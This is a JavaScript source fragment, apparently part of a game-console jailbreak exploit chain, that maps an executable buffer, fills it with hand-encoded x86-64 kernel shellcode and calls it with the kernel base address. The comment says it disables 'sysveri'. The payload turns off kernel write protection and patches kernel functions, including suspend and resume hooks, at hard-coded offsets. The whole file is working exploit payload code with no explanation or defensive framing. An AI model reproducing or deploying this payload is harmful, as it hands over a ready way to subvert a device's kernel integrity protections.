//This disables sysveri, see patch.s for more info
|
|
var patch_once = function () {
|
|
|
|
var patch_buffer = chain.syscall(477, 0x0, 0x4000, 0x7, 0x1000, 0xFFFFFFFF, 0);
|
|
var patch_buffer_view = p.array_from_address(patch_buffer, 0x1000);
|
|
|
|
patch_buffer_view[0] = 0x00000BB8;
|
|
patch_buffer_view[1] = 0xFE894800;
|
|
patch_buffer_view[2] = 0x033D8D48;
|
|
patch_buffer_view[3] = 0x0F000000;
|
|
patch_buffer_view[4] = 0x4855C305;
|
|
patch_buffer_view[5] = 0x8B48E589;
|
|
patch_buffer_view[6] = 0x95E8087E;
|
|
patch_buffer_view[7] = 0xE8000000;
|
|
patch_buffer_view[8] = 0x00000175;
|
|
patch_buffer_view[9] = 0x033615FF;
|
|
patch_buffer_view[10] = 0x8B480000;
|
|
patch_buffer_view[11] = 0x0003373D;
|
|
patch_buffer_view[12] = 0x3F8B4800;
|
|
patch_buffer_view[13] = 0x74FF8548;
|
|
patch_buffer_view[14] = 0x3D8D48EB;
|
|
patch_buffer_view[15] = 0x0000029D;
|
|
patch_buffer_view[16] = 0xF9358B48;
|
|
patch_buffer_view[17] = 0x48000002;
|
|
patch_buffer_view[18] = 0x0322158B;
|
|
patch_buffer_view[19] = 0x8B480000;
|
|
patch_buffer_view[20] = 0x00D6E812;
|
|
patch_buffer_view[21] = 0x8D480000;
|
|
patch_buffer_view[22] = 0x00029F3D;
|
|
patch_buffer_view[23] = 0x358B4800;
|
|
patch_buffer_view[24] = 0x000002E4;
|
|
patch_buffer_view[25] = 0x05158B48;
|
|
patch_buffer_view[26] = 0x48000003;
|
|
patch_buffer_view[27] = 0xB9E8128B;
|
|
patch_buffer_view[28] = 0x48000000;
|
|
patch_buffer_view[29] = 0x02633D8D;
|
|
patch_buffer_view[30] = 0x8B480000;
|
|
patch_buffer_view[31] = 0x0002BF35;
|
|
patch_buffer_view[32] = 0x158B4800;
|
|
patch_buffer_view[33] = 0x000002C8;
|
|
patch_buffer_view[34] = 0xE8128B48;
|
|
patch_buffer_view[35] = 0x0000009C;
|
|
patch_buffer_view[36] = 0x7A3D8D48;
|
|
patch_buffer_view[37] = 0x48000002;
|
|
patch_buffer_view[38] = 0x02AA358B;
|
|
patch_buffer_view[39] = 0x8B480000;
|
|
patch_buffer_view[40] = 0x0002AB15;
|
|
patch_buffer_view[41] = 0x128B4800;
|
|
patch_buffer_view[42] = 0x00007FE8;
|
|
patch_buffer_view[43] = 0x0185E800;
|
|
patch_buffer_view[44] = 0xC35D0000;
|
|
patch_buffer_view[45] = 0x6D3D8948;
|
|
patch_buffer_view[46] = 0x48000002;
|
|
patch_buffer_view[47] = 0x026E3D01;
|
|
patch_buffer_view[48] = 0x01480000;
|
|
patch_buffer_view[49] = 0x00026F3D;
|
|
patch_buffer_view[50] = 0x3D014800;
|
|
patch_buffer_view[51] = 0x00000270;
|
|
patch_buffer_view[52] = 0x713D0148;
|
|
patch_buffer_view[53] = 0x48000002;
|
|
patch_buffer_view[54] = 0x02723D01;
|
|
patch_buffer_view[55] = 0x01480000;
|
|
patch_buffer_view[56] = 0x0002933D;
|
|
patch_buffer_view[57] = 0x3D014800;
|
|
patch_buffer_view[58] = 0x00000294;
|
|
patch_buffer_view[59] = 0x653D0148;
|
|
patch_buffer_view[60] = 0x48000002;
|
|
patch_buffer_view[61] = 0x02663D01;
|
|
patch_buffer_view[62] = 0x01480000;
|
|
patch_buffer_view[63] = 0x0002873D;
|
|
patch_buffer_view[64] = 0x3D014800;
|
|
patch_buffer_view[65] = 0x00000288;
|
|
patch_buffer_view[66] = 0x893D0148;
|
|
patch_buffer_view[67] = 0x48000002;
|
|
patch_buffer_view[68] = 0x028A3D01;
|
|
patch_buffer_view[69] = 0x01480000;
|
|
patch_buffer_view[70] = 0x00028B3D;
|
|
patch_buffer_view[71] = 0x3D014800;
|
|
patch_buffer_view[72] = 0x0000024C;
|
|
patch_buffer_view[73] = 0x3D3D0148;
|
|
patch_buffer_view[74] = 0xC3000002;
|
|
patch_buffer_view[75] = 0xE5894855;
|
|
patch_buffer_view[76] = 0x10EC8348;
|
|
patch_buffer_view[77] = 0x24348948;
|
|
patch_buffer_view[78] = 0x24548948;
|
|
patch_buffer_view[79] = 0xED15FF08;
|
|
patch_buffer_view[80] = 0x48000001;
|
|
patch_buffer_view[81] = 0x4B74C085;
|
|
patch_buffer_view[82] = 0x48C28948;
|
|
patch_buffer_view[83] = 0x4840408B;
|
|
patch_buffer_view[84] = 0x2F74C085;
|
|
patch_buffer_view[85] = 0x28788B48;
|
|
patch_buffer_view[86] = 0x243C3B48;
|
|
patch_buffer_view[87] = 0x8B480A74;
|
|
patch_buffer_view[88] = 0xC0854800;
|
|
patch_buffer_view[89] = 0xECEB1D74;
|
|
patch_buffer_view[90] = 0x18788B48;
|
|
patch_buffer_view[91] = 0x74FF8548;
|
|
patch_buffer_view[92] = 0x7F8B48ED;
|
|
patch_buffer_view[93] = 0x7C3B4810;
|
|
patch_buffer_view[94] = 0xE2750824;
|
|
patch_buffer_view[95] = 0xFF1040C7;
|
|
patch_buffer_view[96] = 0x48FFFFFF;
|
|
patch_buffer_view[97] = 0x31107A8D;
|
|
patch_buffer_view[98] = 0x31D231F6;
|
|
patch_buffer_view[99] = 0xA515FFC9;
|
|
patch_buffer_view[100] = 0x48000001;
|
|
patch_buffer_view[101] = 0x5D10C483;
|
|
patch_buffer_view[102] = 0x894855C3;
|
|
patch_buffer_view[103] = 0xC0200FE5;
|
|
patch_buffer_view[104] = 0xFFFF2548;
|
|
patch_buffer_view[105] = 0x220FFFFE;
|
|
patch_buffer_view[106] = 0x3D8B48C0;
|
|
patch_buffer_view[107] = 0x000001C8;
|
|
patch_buffer_view[108] = 0x909007C7;
|
|
patch_buffer_view[109] = 0x47C79090;
|
|
patch_buffer_view[110] = 0x48909004;
|
|
patch_buffer_view[111] = 0x358B48B8;
|
|
patch_buffer_view[112] = 0x000001AC;
|
|
patch_buffer_view[113] = 0x08778948;
|
|
patch_buffer_view[114] = 0x651047C7;
|
|
patch_buffer_view[115] = 0xC73C8B48;
|
|
patch_buffer_view[116] = 0x00251447;
|
|
patch_buffer_view[117] = 0x47C70000;
|
|
patch_buffer_view[118] = 0x89480018;
|
|
patch_buffer_view[119] = 0x1C47C738;
|
|
patch_buffer_view[120] = 0xB8489090;
|
|
patch_buffer_view[121] = 0x7D358B48;
|
|
patch_buffer_view[122] = 0x48000001;
|
|
patch_buffer_view[123] = 0xC7207789;
|
|
patch_buffer_view[124] = 0xC7482847;
|
|
patch_buffer_view[125] = 0x47C70100;
|
|
patch_buffer_view[126] = 0x0000002C;
|
|
patch_buffer_view[127] = 0x778D48E9;
|
|
patch_buffer_view[128] = 0x158B4834;
|
|
patch_buffer_view[129] = 0x00000150;
|
|
patch_buffer_view[130] = 0x89F22948;
|
|
patch_buffer_view[131] = 0x8B483057;
|
|
patch_buffer_view[132] = 0x00016B35;
|
|
patch_buffer_view[133] = 0x568D4800;
|
|
patch_buffer_view[134] = 0xD7294805;
|
|
patch_buffer_view[135] = 0xC148FF89;
|
|
patch_buffer_view[136] = 0x814808E7;
|
|
patch_buffer_view[137] = 0x0000E9CF;
|
|
patch_buffer_view[138] = 0x3E894800;
|
|
patch_buffer_view[139] = 0x00000D48;
|
|
patch_buffer_view[140] = 0x220F0001;
|
|
patch_buffer_view[141] = 0x55C35DC0;
|
|
patch_buffer_view[142] = 0x0FE58948;
|
|
patch_buffer_view[143] = 0x2548C020;
|
|
patch_buffer_view[144] = 0xFFFEFFFF;
|
|
patch_buffer_view[145] = 0x48C0220F;
|
|
patch_buffer_view[146] = 0x013A3D8B;
|
|
patch_buffer_view[147] = 0x07C70000;
|
|
patch_buffer_view[148] = 0x00C3C031;
|
|
patch_buffer_view[149] = 0x353D8B48;
|
|
patch_buffer_view[150] = 0xC7000001;
|
|
patch_buffer_view[151] = 0xC3C03107;
|
|
patch_buffer_view[152] = 0x3D8B4800;
|
|
patch_buffer_view[153] = 0x00000130;
|
|
patch_buffer_view[154] = 0xC03107C7;
|
|
patch_buffer_view[155] = 0x8B4800C3;
|
|
patch_buffer_view[156] = 0x00012B3D;
|
|
patch_buffer_view[157] = 0x3107C700;
|
|
patch_buffer_view[158] = 0x4800C3C0;
|
|
patch_buffer_view[159] = 0x00A63D8B;
|
|
patch_buffer_view[160] = 0x87C70000;
|
|
patch_buffer_view[161] = 0x001F1E01;
|
|
patch_buffer_view[162] = 0x9090F631;
|
|
patch_buffer_view[163] = 0x1E0587C7;
|
|
patch_buffer_view[164] = 0xC931001F;
|
|
patch_buffer_view[165] = 0x87C79090;
|
|
patch_buffer_view[166] = 0x001F1E09;
|
|
patch_buffer_view[167] = 0x9090D231;
|
|
patch_buffer_view[168] = 0x1E3E87C7;
|
|
patch_buffer_view[169] = 0xC931001F;
|
|
patch_buffer_view[170] = 0x0D489090;
|
|
patch_buffer_view[171] = 0x00010000;
|
|
patch_buffer_view[172] = 0xFFC0220F;
|
|
patch_buffer_view[173] = 0x0000EF15;
|
|
patch_buffer_view[174] = 0xC0200F00;
|
|
patch_buffer_view[175] = 0xFFFF2548;
|
|
patch_buffer_view[176] = 0x220FFFFE;
|
|
patch_buffer_view[177] = 0x3D8B48C0;
|
|
patch_buffer_view[178] = 0x000000DC;
|
|
patch_buffer_view[179] = 0xC03107C7;
|
|
patch_buffer_view[180] = 0x0D4800C3;
|
|
patch_buffer_view[181] = 0x00010000;
|
|
patch_buffer_view[182] = 0x5DC0220F;
|
|
patch_buffer_view[183] = 0x737973C3;
|
|
patch_buffer_view[184] = 0x5F6D6574;
|
|
patch_buffer_view[185] = 0x70737573;
|
|
patch_buffer_view[186] = 0x5F646E65;
|
|
patch_buffer_view[187] = 0x73616870;
|
|
patch_buffer_view[188] = 0x705F3265;
|
|
patch_buffer_view[189] = 0x735F6572;
|
|
patch_buffer_view[190] = 0x00636E79;
|
|
patch_buffer_view[191] = 0x74737973;
|
|
patch_buffer_view[192] = 0x725F6D65;
|
|
patch_buffer_view[193] = 0x6D757365;
|
|
patch_buffer_view[194] = 0x68705F65;
|
|
patch_buffer_view[195] = 0x32657361;
|
|
patch_buffer_view[196] = 0x73797300;
|
|
patch_buffer_view[197] = 0x5F6D6574;
|
|
patch_buffer_view[198] = 0x75736572;
|
|
patch_buffer_view[199] = 0x705F656D;
|
|
patch_buffer_view[200] = 0x65736168;
|
|
patch_buffer_view[201] = 0x90900033;
|
|
patch_buffer_view[202] = 0x00000000;
|
|
patch_buffer_view[203] = 0x00000000;
|
|
patch_buffer_view[204] = 0x000F88F0;
|
|
patch_buffer_view[205] = 0x00000000;
|
|
patch_buffer_view[206] = 0x002EF170;
|
|
patch_buffer_view[207] = 0x00000000;
|
|
patch_buffer_view[208] = 0x00018DF0;
|
|
patch_buffer_view[209] = 0x00000000;
|
|
patch_buffer_view[210] = 0x00018EF0;
|
|
patch_buffer_view[211] = 0x00000000;
|
|
patch_buffer_view[212] = 0x02654110;
|
|
patch_buffer_view[213] = 0x00000000;
|
|
patch_buffer_view[214] = 0x00097230;
|
|
patch_buffer_view[215] = 0x00000000;
|
|
patch_buffer_view[216] = 0x00402E60;
|
|
patch_buffer_view[217] = 0x00000000;
|
|
patch_buffer_view[218] = 0x01520108;
|
|
patch_buffer_view[219] = 0x00000000;
|
|
patch_buffer_view[220] = 0x01520100;
|
|
patch_buffer_view[221] = 0x00000000;
|
|
patch_buffer_view[222] = 0x00462D20;
|
|
patch_buffer_view[223] = 0x00000000;
|
|
patch_buffer_view[224] = 0x00462DFC;
|
|
patch_buffer_view[225] = 0x00000000;
|
|
patch_buffer_view[226] = 0x006259A0;
|
|
patch_buffer_view[227] = 0x00000000;
|
|
patch_buffer_view[228] = 0x006268D0;
|
|
patch_buffer_view[229] = 0x00000000;
|
|
patch_buffer_view[230] = 0x00625DC0;
|
|
patch_buffer_view[231] = 0x00000000;
|
|
patch_buffer_view[232] = 0x00626290;
|
|
patch_buffer_view[233] = 0x00000000;
|
|
patch_buffer_view[234] = 0x00626720;
|
|
patch_buffer_view[235] = 0x00000000;
|
|
//lock payload / call payload / release payload
|
|
{
|
|
chain.fcall(window.syscalls[203], patch_buffer, 0x4000);
|
|
chain.fcall(patch_buffer, p.read8(KERNEL_BASE_PTR));
|
|
chain.fcall(window.syscalls[73], patch_buffer, 0x4000);
|
|
}
|
|
chain.run();
|
|
} |